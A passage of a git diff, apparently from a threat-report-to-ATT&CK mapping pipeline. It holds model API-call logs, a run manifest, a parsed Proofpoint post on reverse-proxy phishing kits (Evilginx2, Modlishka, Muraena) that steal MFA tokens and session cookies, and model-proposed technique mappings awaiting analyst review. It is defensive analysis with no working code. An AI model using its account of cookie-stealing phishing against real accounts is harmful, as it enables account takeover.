it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Lab52 hypothesis is that attackers compromise routers with default credentials and use them as a frontend for their real command and control server.\n\nCANDIDATE 6\nATT&CK technique: T1496.004 Cloud Service Hijacking\nDescription: Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. For example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / Phishing emails and SMS messages. Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models. In some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service. Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.\nTactics: impact\nPlatforms: SaaS\n\nCANDIDATE 7\nATT&CK technique: T1090.001 Internal Proxy\nDescription: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 8\nATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 9\nATT&CK technique: T1090.003 Multi-hop Proxy\nDescription: Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\"selected_index\": 2, \"support\": \"supported\", \"evidence_quote\": \"Proofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours\", \"rationale\": \"The quote explicitly identifies a Man-in-the-Middle (MitM) reverse proxy site, which directly aligns with the T1557 Adversary-in-the-Middle technique definition.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3029, + "completion_tokens": 86, + "total_tokens": 3115 + } + }, + "evidence_sha256": "d29b7b011f99eb3b794c938140eae1c9469593edb5b7da94850873aa6a3ccddd" + } +] diff --git a/examples/threat-report-attck-mapper/verified-run/manifest.json b/examples/threat-report-attck-mapper/verified-run/manifest.json new file mode 100644 index 000000000..05a12c6d7 --- /dev/null +++ b/examples/threat-report-attck-mapper/verified-run/manifest.json @@ -0,0 +1,67 @@ +{ + "created_at": "2026-08-21T09:00:32.326656+00:00", + "endpoint": "http://localhost:8080", + "models": { + "parse": "docling", + "behavior_extract": "Qwen/Qwen3.6-27B:no-spec", + "entities": "fastino/gliner2-large-v1", + "retrieve": "Qwen/Qwen3-Embedding-8B", + "late_interaction": "jinaai/jina-colbert-v2", + "rerank": "Qwen/Qwen3-Reranker-4B", + "verify": "Qwen/Qwen3.6-27B:no-spec", + "escalate": "Qwen/Qwen3.6-27B:no-spec" + }, + "model_revisions": { + "docling": "310479be56f3a99a0fea75d930e11eea38bf5ef7", + "fastino/gliner2-large-v1": "b122b11eeaee4dabd32bed80412f3234c0d0e943", + "Qwen/Qwen3-Embedding-8B": "1d8ad4ca9b3dd8059ad90a75d4983776a23d44af", + "jinaai/jina-colbert-v2": "4552c4dc1ffd7d7a635b6a41a1077fe9c9cdd974", + "Qwen/Qwen3-Reranker-4B": "22e683669bc0f0bd69640a1354a6d0aebcfeede5", + "Qwen/Qwen3.6-27B:no-spec": "6a9e13bd6fc8f0983b9b99948120bc37f49c13e9" + }, + "rate_book_provenance": { + "version": null, + "request_ids": [], + "execution_identity_sha256": [] + }, + "pipeline_stage": "full_report_review", + "source_report": { + "path": "proofpoint_2022-02-03_mfa-psa-oh-my.txt", + "sha256": "7703c78bfc6c9819f999a81ebe4fb8d88138a271e34905cc06b6ec9d5b8fd75b", + "characters": 9772 + }, + "taxonomy": { + "name": "MITRE ATT&CK Enterprise", + "version": "19.2", + "commit": "6cda5ad8462c79e14fbb872f4e09059b18e0cfc4", + "sha256": "dc1639caa5501d720e280cf1cbd8fbe009884a0c9b3e6e9ed9d0c25166c3d8f4", + "active_techniques": 697 + }, + "decision_boundary": "The agent proposes source-backed mappings for analyst review. It cannot accept a mapping, detect an intrusion, or change a security control.", + "artifacts": [ + { + "path": "api-calls.json", + "sha256": "4f0ee6c52bec082e9ab6a4b6f19dd8e275646f59115ae4f335c3593c15c7a0d8" + }, + { + "path": "embeddings.npz", + "sha256": "082e941b1a27b04f739ea4092c7014e2ebab457ec05cca0cb8d20bb0c6bd8ce0" + }, + { + "path": "exemplar-embeddings.npz", + "sha256": "2aaf29fd8106b59343618527a2e781fe9f29de9d1e0a64d24d0d602464387ffe" + }, + { + "path": "late-interaction.npz", + "sha256": "26c9d23748ddb0604d7407f7a9227fbe68b07580fa5fc7752550b39de159754c" + }, + { + "path": "parsed-report.md", + "sha256": "7703c78bfc6c9819f999a81ebe4fb8d88138a271e34905cc06b6ec9d5b8fd75b" + }, + { + "path": "review.json", + "sha256": "01dd3e739ced4d1f0b23d560d8aee2b89c33bb5a4392f1d74006ff9a35a38a83" + } + ] +} diff --git a/examples/threat-report-attck-mapper/verified-run/parsed-report.md b/examples/threat-report-attck-mapper/verified-run/parsed-report.md new file mode 100644 index 000000000..50d7512b1 --- /dev/null +++ b/examples/threat-report-attck-mapper/verified-run/parsed-report.md @@ -0,0 +1,70 @@ +MFA PSA, Oh My! +February 03, 2022 +### Key Takeaways +* As multi-factor authentication becomes a standard security practice, phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security. +* Threat actors are using phish kits that leverage transparent reverse proxy, which enables them to man-in-the-middle (MitM) a browser session and steal credentials and session cookies in real-time. +* It is likely that more threat actors will turn to these MitM phish kits, making security increasingly difficult for defenders. +### Overview +Since the inclusion of the first password in the [Compatible Time-Sharing System](https://en.wikipedia.org/wiki/Password#History) at MIT in 1961, people have been cognizant of information security. +While multi-factor authentication (MFA) did not enter the scene until years later in 1986 with the first RSA tokens, it has recently seen widespread adoption in the consumer space. +According to MFA digital authenticator company Duo's annual [State of the Auth Report](https://duo.com/blog/the-2021-state-of-the-auth-report-2fa-climbs-password-managers-biometrics-trend) 78% of respondents have used two/multi-factor authentication (2FA/MFA) in 2021 compared to just 28% in 2017. +While many companies like Duo and RSA have helped make MFA more ubiquitous and user-friendly, threat actors have not been resting on their laurels, choosing to target MFA as well as looking for ways to bypass MFA with evolving phishing kits. +![Duo State of the Auth Report 2021 shows increase in MFA usage.](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.17.28%20AM.png) +*Figure 1. Duo State of the Auth Report 2021 shows increase in MFA usage.* +### MFA Phishing Kit Evolution +Phishing kits are software developed to aid threat actors in harvesting credentials and quickly capitalizing on them. +Often installed on a dedicated server owned by the threat actor or covertly installed on a compromised server owned by an unlucky individual, many of these kits can be purchased for [less than a cup of coffee](/us/blog/threat-insight/have-money-latte-then-you-too-can-buy-phish-kit "Have Money for a Latte. +Then You Too Can Buy a Phish Kit"). +Proofpoint threat researchers see numerous MFA phishing kits ranging from simple open-source kits with human readable code and no-frills functionality to sophisticated kits utilizing numerous layers of obfuscation and built-in modules that allow for stealing usernames, passwords, MFA tokens, social security numbers and credit card numbers. +At their core these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords. +![Simple phishing kit utilizing an open directory ](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.05%20AM.png) +*Figure 2. Simple phishing kit utilizing an open directory with credentials stored on the same webserver as the kit.* +In recent years, Proofpoint researchers have observed the emergence of a new type of kit that does not rely on recreating a target website. +Instead, these kits use a [transparent reverse proxy](https://en.wikipedia.org/wiki/Reverse_proxy#:~:text=In%20computer%20networks%2C%20a%20reverse,mainly%20used%20to%20balance%20load. to present the actual website to the victim. +Modern web pages are dynamic and change frequently. +Therefore, presenting the actual site instead of a facsimile greatly enhances the illusion an individual is logging in safely. +Another advantage of the reverse proxy is that it allows the threat actor to man-in-the-middle (MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie. +![MitM Transparent Reverse Proxy](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.29%20AM.png) +*Figure 3. MitM Transparent Reverse Proxy.* +The session cookie (see Figure 4) can then be used by the threat actor to gain access to the targeted account without the need for a username, password, or MFA token. +![Evilginx2 LinkedIn session cookie example](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.50%20AM.png) +*Figure 4. Evilginx2 LinkedIn session cookie example.* +Proofpoint researchers have noted a small increase in the use of these phish kits and anticipate greater adoption by threat actors as MFA forces them to adapt. +Specifically, Proofpoint has noted three transparent reverse proxy kits emerging on the scene. +### Reverse Proxy Phish Kits +Modlishka: A Polish security researcher Piotr Duszyński developed Modliska and released it in December 2018 on github.com. +This relatively simple tool allows phishing one site at a time, sports a command line interface, and provides the threat actor with a handy GUI to retrieve the credentials and session information (see Figure 5). +Modlishka also integrates Let’s Encrypt so it can make the fake domain landing page just a bit more believable by encrypting the traffic and providing the little padlock in the web bar. +While Modlishka may not be as advanced as the other two kits discussed later in this blog, it is still capable of harvesting a victim’s session even when tech like Duo’s push notification [authenticator is used](https://commons.lib.jmu.edu/cgi/viewcontent.cgi?article=1004&context=masters202029). +![Modliska graphical user interface (GUI).](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.20.07%20AM.png) +*Figure 5. Modliska graphical user interface (GUI).* +Muraena/Necrobrowser: Muraena/Necrobrowser is a two-part tool for phishing session cookies, credentials, and much more. +Created in 2019 by Giuseppe Trotta and Michele Orrù, Muraena runs server-side and uses a crawler to scan the target site to ensure it can properly rewrite all the traffic needed to not alert the victim. +Once the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser. +Necrobrowser is a headless browser, which is a browser without a graphical user interface used for automation, that leverages the stolen session cookies to log into the target site and do things such as change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories. +Evilginx2: Evilginx2 is an easy to use, transparent reverse proxy written in Golang by security researcher and developer Kuba Gretzky (Figure 6). +This is a popular tool for both red teams and threat actors as it is easy to setup and configure using its proprietary “phishlets. +Phishlets are [yaml](https://en.wikipedia.org/wiki/YAML) configuration files the engine uses to configure the proxy to the target site. +Utilizing these “phishlets,” you can configure the server to phish multiple brands at once. +Evilginx2 allows you to configure a custom subdomain and landing page URL for each as well. +The kit comes with several pre-installed “phishlets,” but more can be created and added easily. +Once a victim clicks on the malicious link, they are taken to a secure page with assets being displayed exactly how they are on the target site. +After they log in, the credentials, including MFA codes, and session cookie are sent to the server in real-time and the victim is either redirected to a different page or allowed to continue through to the page. +The threat actor is then able to use the stolen session cookie to log in as the victim where they can take multiple actions like changing the password, copying data, or pretending to be the victim. +![Evilginx2 command line console](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.21.39%20AM.png) +*Figure 6. Evilginx2 command line console.* +### Outlook +Most of these kits have been around for years so why the renewed interest. +In their [recent paper](https://catching-transparent-phish.github.io/catching_transparent_phish.pdf), researchers from Stony Brook University and Palo Alto Networks (Kondracki et al) took a deep dive into MitM phishing kits and discovered that MitM phishing pages represent an industry blind spot. +The researchers developed a machine learning tool called Phoca to scan suspected phishing pages and try to determine if they were using a transparent reverse proxy to MitM credentials. +They were able to identify over 1200 MitM phishing sites. +Of those 1200+ sites only 43.7% of domains and 18.9% of IP addresses appeared on popular blocklists like VirusTotal. +In addition to this, they found that standard phishing sites had a lifespan of just under 24 hours whereas MitM phishing sites lasted longer, and 15% had a lifespan greater than 20 days. +As recently as the end of January 2021, Proofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours. +![MitM O365 page.](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.22.38%20AM.png) +*Figure 7. MitM O365 page.(domain redacted as without the full path it redirects to NSFW content)* +In May 2021, Google discussed in a [blog post](https://blog.google/technology/safety-security/a-simpler-and-safer-future-without-passwords/) that they would soon start to require MFA when logging into a Google account sometime in late 2021 or early 2022 (it would still be optional for Google Workspace customers). +We are now in 2022, the pandemic still rages, many workers are still working from home, and many may not return to the office. +As more companies follow Google’s lead and start requiring MFA, threat actors will rapidly move to solutions like these MitM kits. +They are easy to deploy, free to use, and have proven effective at evading detection. +The industry needs to prepare to deal with blind spots like these before they can evolve in new unexpected directions. \ No newline at end of file diff --git a/examples/threat-report-attck-mapper/verified-run/review.json b/examples/threat-report-attck-mapper/verified-run/review.json new file mode 100644 index 000000000..fd67f4682 --- /dev/null +++ b/examples/threat-report-attck-mapper/verified-run/review.json @@ -0,0 +1,4540 @@ +{ + "report": { + "path": "proofpoint_2022-02-03_mfa-psa-oh-my.txt", + "sha256": "7703c78bfc6c9819f999a81ebe4fb8d88138a271e34905cc06b6ec9d5b8fd75b", + "characters": 9772 + }, + "taxonomy": { + "name": "MITRE ATT&CK Enterprise", + "version": "19.2", + "active_techniques": 697 + }, + "labeled_example_index": { + "dataset": "AnnoCTR", + "split": "train", + "commit": "d510b6949e1938d47c93a43eedd562dc538439dc", + "examples": 1748 + }, + "status": "analyst_review_required", + "behavior_count": 23, + "suggested_mapping_count": 4, + "analyst_review_count": 9, + "mappings": [ + { + "behavior": { + "quote": "phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security", + "summary": "Phishing kits evolve to steal authentication tokens and bypass multi-factor authentication security layers", + "source_start": 123, + "source_end": 225, + "entities": [], + "actor": "phish kits", + "action": "steal", + "object": "tokens", + "tool": "", + "target": "trusted layer of security", + "assertion": "capability" + }, + "route": "analyst_review", + "status": "needs_analyst_review", + "selected_technique_id": "T1528", + "support": "supported", + "evidence_quote": "phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security", + "rationale": "The quote explicitly states that phish kits steal tokens, which directly matches the defining action of T1528 Steal Application Access Token.", + "candidates": [ + { + "technique_id": "T1566", + "name": "Phishing", + "dense_score": 0.6612698435783386, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 18.782974243164062, + "dense_rank": 4, + "late_interaction_rank": 8, + "fusion_score": 0.06266425425370543, + "exemplar_score": 0.8067810535430908, + "exemplar_rank": 0, + "exemplar_quote": "New Voicemail-Themed Phishing Attacks Use Evasion Techniques and Steal Credentials", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1528", + "name": "Steal Application Access Token", + "dense_score": 0.671043336391449, + "rerank_score": 0.99609375, + "rerank_rank": 1, + "late_interaction_score": 18.654346466064453, + "dense_rank": 3, + "late_interaction_rank": 12, + "fusion_score": 0.05917437640564302, + "exemplar_score": 0.7157619595527649, + "exemplar_rank": 6, + "exemplar_quote": "| T1528 | Steal Application Access Token | Steal access token for valid account |", + "exemplar_document": "zscaler_2021-02-09_discord-cdn-popular-choice-hosting" + }, + { + "technique_id": "T1111", + "name": "Multi-Factor Authentication Interception", + "dense_score": 0.602469265460968, + "rerank_score": 0.99609375, + "rerank_rank": 2, + "late_interaction_score": 18.20345115661621, + "dense_rank": 30, + "late_interaction_rank": 53, + "fusion_score": 0.019760940813572395, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1553", + "name": "Subvert Trust Controls", + "dense_score": 0.5944603681564331, + "rerank_score": 0.984375, + "rerank_rank": 3, + "late_interaction_score": 17.703750610351562, + "dense_rank": 36, + "late_interaction_rank": 107, + "fusion_score": 0.016261659302896414, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598", + "name": "Phishing for Information", + "dense_score": 0.6531864404678345, + "rerank_score": 0.97265625, + "rerank_rank": 4, + "late_interaction_score": 18.508094787597656, + "dense_rank": 6, + "late_interaction_rank": 21, + "fusion_score": 0.02712049508554787, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.6796162128448486, + "rerank_score": 0.97265625, + "rerank_rank": 5, + "late_interaction_score": 18.093570709228516, + "dense_rank": 0, + "late_interaction_rank": 64, + "fusion_score": 0.02439344262295082, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1566.002", + "name": "Spearphishing Link", + "dense_score": 0.6746346950531006, + "rerank_score": 0.96875, + "rerank_rank": 6, + "late_interaction_score": 18.13747787475586, + "dense_rank": 1, + "late_interaction_rank": 58, + "fusion_score": 0.02453239360260233, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1134.001", + "name": "Token Impersonation/Theft", + "dense_score": 0.6530582308769226, + "rerank_score": 0.96484375, + "rerank_rank": 7, + "late_interaction_score": 18.906875610351562, + "dense_rank": 7, + "late_interaction_rank": 3, + "fusion_score": 0.030330882352941176, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1684", + "name": "Social Engineering", + "dense_score": 0.6255238056182861, + "rerank_score": 0.96484375, + "rerank_rank": 8, + "late_interaction_score": 17.748485565185547, + "dense_rank": 15, + "late_interaction_rank": 100, + "fusion_score": 0.019369074861065705, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1134", + "name": "Access Token Manipulation", + "dense_score": 0.6197384595870972, + "rerank_score": 0.91015625, + "rerank_rank": 9, + "late_interaction_score": 18.873497009277344, + "dense_rank": 19, + "late_interaction_rank": 4, + "fusion_score": 0.027884615384615386, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": { + "technique_id": "T1528", + "name": "Steal Application Access Token", + "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.", + "tactics": [ + "credential access" + ], + "platforms": [ + "Containers", + "IaaS", + "Identity Provider", + "Office Suite", + "SaaS" + ], + "is_subtechnique": false, + "attack_url": "https://attack.mitre.org/techniques/T1528", + "stix_id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "modified": "2026-05-12T15:12:00.694Z" + } + }, + { + "behavior": { + "quote": "Threat actors are using phish kits that leverage transparent reverse proxy, which enables them to man-in-the-middle (MitM) a browser session and steal credentials and session cookies in real-time", + "summary": "Threat actors use phishing kits with transparent reverse proxies to perform man-in-the-middle attacks on browser sessions to steal credentials and session cookies in real time", + "source_start": 229, + "source_end": 424, + "entities": [ + { + "text": "reverse proxy", + "label": "network protocol", + "score": 0.78076171875, + "start": 290, + "end": 303 + }, + { + "text": "credentials", + "label": "credential", + "score": 0.97607421875, + "start": 380, + "end": 391 + }, + { + "text": "session cookies", + "label": "credential", + "score": 0.830078125, + "start": 396, + "end": 411 + } + ], + "actor": "Threat actors", + "action": "man-in-the-middle (MitM)", + "object": "browser session", + "tool": "phish kits that leverage transparent reverse proxy", + "target": "credentials and session cookies", + "assertion": "observed" + }, + "route": "analyst_review", + "status": "needs_analyst_review", + "selected_technique_id": "T1539", + "support": "supported", + "evidence_quote": "steal credentials and session cookies in real-time", + "rationale": "The quote explicitly states the action of stealing session cookies via a proxy-based MitM attack, which directly matches the definition of T1539 Steal Web Session Cookie.", + "candidates": [ + { + "technique_id": "T1539", + "name": "Steal Web Session Cookie", + "dense_score": 0.6912882328033447, + "rerank_score": 1.0, + "rerank_rank": 0, + "late_interaction_score": 17.970870971679688, + "dense_rank": 1, + "late_interaction_rank": 91, + "fusion_score": 0.05395797962648557, + "exemplar_score": 0.795180082321167, + "exemplar_rank": 3, + "exemplar_quote": "It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents.", + "exemplar_document": "proofpoint_2021-07-01_malware-masquerades-privacy-tool" + }, + { + "technique_id": "T1185", + "name": "Browser Session Hijacking", + "dense_score": 0.6801888942718506, + "rerank_score": 0.9921875, + "rerank_rank": 1, + "late_interaction_score": 18.597917556762695, + "dense_rank": 2, + "late_interaction_rank": 26, + "fusion_score": 0.05553628283108614, + "exemplar_score": 0.748134434223175, + "exemplar_rank": 10, + "exemplar_quote": "| T1185 | Man in the Browser |", + "exemplar_document": "zscaler_2021-03-30_ares-malware-grandson-kronos-banking" + }, + { + "technique_id": "T1557", + "name": "Adversary-in-the-Middle", + "dense_score": 0.7127931714057922, + "rerank_score": 0.984375, + "rerank_rank": 2, + "late_interaction_score": 19.33570671081543, + "dense_rank": 0, + "late_interaction_rank": 4, + "fusion_score": 0.06403612252369524, + "exemplar_score": 0.8221884369850159, + "exemplar_rank": 1, + "exemplar_quote": "If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.", + "exemplar_document": "proofpoint_2021-05-18_threat-actors-exploit-microsoft-and" + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.6502437591552734, + "rerank_score": 0.98046875, + "rerank_rank": 3, + "late_interaction_score": 18.03195571899414, + "dense_rank": 3, + "late_interaction_rank": 84, + "fusion_score": 0.02252155172413793, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1566", + "name": "Phishing", + "dense_score": 0.5342798233032227, + "rerank_score": 0.9765625, + "rerank_rank": 4, + "late_interaction_score": 18.36353302001953, + "dense_rank": 50, + "late_interaction_rank": 48, + "fusion_score": 0.05097020618151615, + "exemplar_score": 0.823254406452179, + "exemplar_rank": 0, + "exemplar_quote": "In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1056", + "name": "Input Capture", + "dense_score": 0.5920326709747314, + "rerank_score": 0.84375, + "rerank_rank": 5, + "late_interaction_score": 17.846084594726562, + "dense_rank": 8, + "late_interaction_rank": 110, + "fusion_score": 0.05208673858559442, + "exemplar_score": 0.8020293116569519, + "exemplar_rank": 2, + "exemplar_quote": "* The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page.", + "exemplar_document": "proofpoint_2021-07-13_operation-spoofedscholars-conversation-ta453" + }, + { + "technique_id": "T1598", + "name": "Phishing for Information", + "dense_score": 0.5423177480697632, + "rerank_score": 0.70703125, + "rerank_rank": 6, + "late_interaction_score": 18.363168716430664, + "dense_rank": 39, + "late_interaction_rank": 49, + "fusion_score": 0.01909090909090909, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1090", + "name": "Proxy", + "dense_score": 0.560695230960846, + "rerank_score": 0.2451171875, + "rerank_rank": 7, + "late_interaction_score": 17.544513702392578, + "dense_rank": 22, + "late_interaction_rank": 168, + "fusion_score": 0.016415004998158574, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1204", + "name": "User Execution", + "dense_score": 0.5565270781517029, + "rerank_score": 0.06787109375, + "rerank_rank": 8, + "late_interaction_score": 18.744043350219727, + "dense_rank": 24, + "late_interaction_rank": 14, + "fusion_score": 0.025098039215686277, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1555.003", + "name": "Credentials from Web Browsers", + "dense_score": 0.572151780128479, + "rerank_score": 0.06396484375, + "rerank_rank": 9, + "late_interaction_score": 17.999156951904297, + "dense_rank": 14, + "late_interaction_rank": 87, + "fusion_score": 0.020090090090090093, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": { + "technique_id": "T1539", + "name": "Steal Web Session Cookie", + "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.", + "tactics": [ + "credential access" + ], + "platforms": [ + "Linux", + "Office Suite", + "SaaS", + "Windows", + "macOS" + ], + "is_subtechnique": false, + "attack_url": "https://attack.mitre.org/techniques/T1539", + "stix_id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "modified": "2026-05-12T15:12:00.621Z" + } + }, + { + "behavior": { + "quote": "MFA phishing kits ranging from simple open-source kits with human readable code and no-frills functionality to sophisticated kits utilizing numerous layers of obfuscation and built-in modules that allow for stealing usernames, passwords, MFA tokens, social security numbers and credit card numbers.", + "summary": "Phishing kits steal credentials including 